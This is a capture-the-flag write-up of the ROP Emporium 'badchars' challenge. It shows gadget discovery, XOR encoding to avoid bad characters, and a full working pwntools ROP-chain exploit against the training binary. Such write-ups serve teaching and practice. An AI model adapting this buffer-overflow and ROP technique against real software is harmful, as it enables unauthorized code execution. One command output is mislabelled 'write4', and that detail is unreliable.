ROP Emporium Writeup – badchars

# Information:

CTF Name: ROP Emporium

CTF Challenge: badchars

Challenge Category: Binary Exploitation

Challenge Points: N/A

Level 5 ROP Emporium

# Used Tools:

# Challenge Description:

The good, the bad

Dealing with bad characters is frequently necessary in exploit development and you’ve probably had to deal with them before while encoding shellcode. Badchars are the reason that encoders such as shikata-ga-nai exist.

Moar XOR

You’ll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Once your string is in memory and intact, just use the print_file() method to print the contents of the flag file, just like in the last challenge. Think about how we’re going to overcome the badchars issue; could we use gadgets to change the string once it’s in memory? Are the mutations the badchars undergo predictable or could we remove them from our string entirely so we know what will end up in memory then change them later?

Helper functions

It’s almost certainly worth your time writing a helper function for this challenge. Perhaps one that takes as parameters a string, it’s desired location in memory and an array of badchars. It could then write the string into memory and deal with the badchars afterwards. There’s always a chance you could find a string that does what you want and doesn’t contain any badchars either.

For the full challenge description go here.  

They also provide a zip file. For:

Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.  

# Writeup

In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack.  

Below I will layout the steps that I took to solve this challenge.  

Step 1

I decided to start by gathering more information about the binary file, to so so I did the following command:

 mregra on Cyber $ file badchars
 write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
 mregra on Cyber $ 

The binary is a ELF executable for 64-bit architecture. As expected.  

Step 2

Now I will verify the security of this binary file, by doing:  

 mregra on Cyber $ checksec badchars 
 [*] '/home/mregra/CTF_Code/ROP_Emporium/badchars/badchars'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
 mregra on Cyber $ 

In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.

Let’s move on to the next step.

Step 3

Afterward, I decided to run the program and see its behavior, this was the result:

We have an input field. After entering “input” it ended the program, quite simple. Considering that we have an input field and that we do not have canaries protection it is probably possible to overflow a buffer, let’s check on radare2 if that is the case.  

Step 4

We know, from the interaction with the program, that their are a set of “badchars” that we must avoid to be able to exploit this code. Those chars are ‘x’, ‘g’, ‘a’, ‘.’ . As you know, to solve this challenge, we have to insert the string “flag.txt” into the payload. However, this is not possible because this string has all the 4 badchars. We need a way to bypass that. To do so we will use the hint provided in the description:

Moar XOR

You’ll still need to deal with writing a string into memory, similar to the write4 challenge, that may have badchars in it. Once your string is in memory and intact, just use the print_file() method to print the contents of the flag file, just like in the last challenge. Think about how we’re going to overcome the badchars issue; could we use gadgets to change the string once it’s in memory? Are the mutations the badchars undergo predictable or could we remove them from our string entirely so we know what will end up in memory then change them later?

Challenge description

We have to use XOR to bypass this. To do so I created a Python 3 function that performs a XOR with on the string “flag.txt” that becomes “dnce,vzv”, below we have the code snippet:

1
2
3
4
5
6
#The logic is simple:  
def xorByTwo(value):
    res = ""
    for i in value:
        res += chr(int(convertASCII_to_Hex(i), 16) ^ 2)
    return res

First, we iterate over the string. Then, for each character present we convert it to hex and than to int, perform the XOR with 2, and finally convert it back to char and concatenate it with the res string that is returned in the end.

This allows us to bypass the badchar issue, what we will need to do is just XOR back to the original string but only after it is inserted in the registers.

Step 5

As said before lets see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:  

With this we have some important information. In particular We now know the address of the functions of this program, for example:

Similarly to the previous challenge, the write4 we we want to find a function that would allow us to perform a cat flag.txt or something like that. Let’s analyse the usefulFunction first to see if we can find their what we are looking for:

The usefulFunction

As you can see, in the address 0x00400620 we have a call to the print_file function. However, it is a PLT entry so to make sure we have the correct address lets go a little bit deeper. As you can see, the correct address is in fact: 0x00400510:

Ok, so now, to be able to create our exploit we still need a few things. In particular we need a way to write the string “flag.txt” and pass it as argument to the print_file function. We cannot use anything present in the binary. This is the reason why we have to insert the string manually, but where and how?  

Step 6

To be able to write the  string “flag.txt” (in our case is “dnce,vzv”, but you get the idea) and pass it as argument we need ROP gadgets. In particular, we need a mov operation, in which we move something, in this case it would be our string, into a register, one example would be mov rdi, rsi. We will also need a ROP gadget that performs a XOR, because we have to reverse the “dnce,vzv” back to “flag.txt”. Finally we need another gadget to write the string “dnce,vzv” into memory.

To get these gadgets I used the ROPgadget tool as presented below:  

As you can see we have several gadgets that might do what we need, in particular:

  1. We need a way to move the string “dnce,vzv” into a register, to do so we can use the gadgets:
    1. 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    2. 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
  2. Having this we need a way to XOR back the string to “flag.txt”, to so so we can use:
    1. 0x00000000004006a0 : pop r14 ; pop r15 ; ret
    2. 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
  3. Finally, we need a way to pass the data into the print_file function, to do so we have this gadget:
    1. 0x00000000004006a3 : pop rdi ; ret

We still need an address to store the string. To get this address I decided to do the following:

This tool, the readelf tool displays information regarding the binary file. Among several things, it can help us find a place to store the string. The flag -S is simply used to filter the output to only display the headers section. To choose one that we can use, we need one that would allow us to write and we need to make sure that doing so will not corrupt anything relevant. As you can see we can use the .bss address because of the size and the fact that the WA flags.

To recap, the address is: 0x00601038

Let’s summarize what we have so far:

  • We have the print_file correct address:
  • We have a way to write the string into a register by using a mov ROP gadget and a .bss entry:
    • 0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    • 0x0000000000400634 : mov qword ptr [r13], r12 ; ret
    • 0x00601038: .bss address
  • We also have the ROP gadget to help us perform the XOR operation on the XORed string:
    • 0x00000000004006a0 : pop r14 ; pop r15 ; ret
    • 0x0000000000400628 : xor byte ptr [r15], r14b ; ret
  • Finally, we have a ROP gadget to help us pass an argument into the print_file function:
    • 0x00000000004006a3 : pop rdi ; ret

We just need to know the buffer overflow offset. From the previous ROP Emporium exercises the offset was always 40, so I assumed it was the same this time and it was, so let’s jump into the exploit!

Step 7

I decided once again to use Python 3. Below you can find the script:  

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

elf = ELF('badchars')                 #context.binary

def convertASCII_to_Hex(value):
      res = ""
      for i in value:
            res += hex(ord(i))[2:]
      return res

def changeEndian(value):
      length = len(value)
      res = "0x"
      for i in range(length-1, 0, -2):
            res += value[i-1]+ value[i]
      return res      

def generateString(value):
      return int(changeEndian(convertASCII_to_Hex(value)), 16)
     
#badchars are: 'x', 'g', 'a', '.'
# in hex: 78, 67, 61, 2e
def xorByTwo(value):
    res = ""
    for i in value:
        res += chr(int(convertASCII_to_Hex(i), 16) ^ 2)
    print(res)
    return res

p = process(elf.path)

#Prepare the payload
junk = b"A"*40                                              
pop_r12_r13_r14_r15 = p64(0x000000000040069c)
pop_r14_r15 = p64(0x00000000004006a0)                               
data_address = 0x00601038                                   
flag = p64(generateString(xorByTwo("flag.txt")))            
xor_r14_r15 = p64(0x0000000000400628)
pop_rdi = p64(0x00000000004006a3)                           
print_file = p64(0x00400510)                                
mov_r13_r12 = p64(0x0000000000400634)

#payload
payload = junk
payload += pop_r12_r13_r14_r15
payload += flag + p64(data_address) + p64(1) + p64(1)       #For the last 2 registers you can write any 64bit integer 
payload += mov_r13_r12

for i in range(8):
    payload += pop_r14_r15
    payload += p64(2) + p64(data_address + i)
    payload += xor_r14_r15

payload += pop_rdi
payload += p64(data_address)
payload += print_file

# Send the payload

p.sendline(payload)                 #send the payload to the process

p.interactive()

In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the badchars in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.

The payload was created considering the badchars, we know that we could not use some characters so we performed an XOR on the string “flag.txt”, however it was also necessary to perform the XOR back to the normal string once the value was inserted in a registry. To do so we needed to add an XOR operation to the payload. We did so by performing a for loop over the XORed string for each of the corresponding hexadecimal values on the address. Finally, it was only a matter of passing the resulting address as an argument to the print_file function.

Then, I simply run the script, here is the result:  


The Python 3 script source code can be found here.

Thank you very much for reading!

Cheers,

MRegra


Share this post:

Popular posts

7 Replies to “ROP Emporium Writeup – badchars”

  1. Pretty nice post. I just stumbled upon your weblog and wanted to say that I have really enjoyed browsing your blog posts.
    After all I’ll be subscribing to your feed and I hope you write
    again very soon!

  2. What’s Taking place i’m new to this, I stumbled upon this I have discovered It positively helpful and it has aided me out loads.
    I am hoping to give a contribution & help other customers like its
    helped me. Good job.

Leave a Reply

Your email address will not be published. Required fields are marked *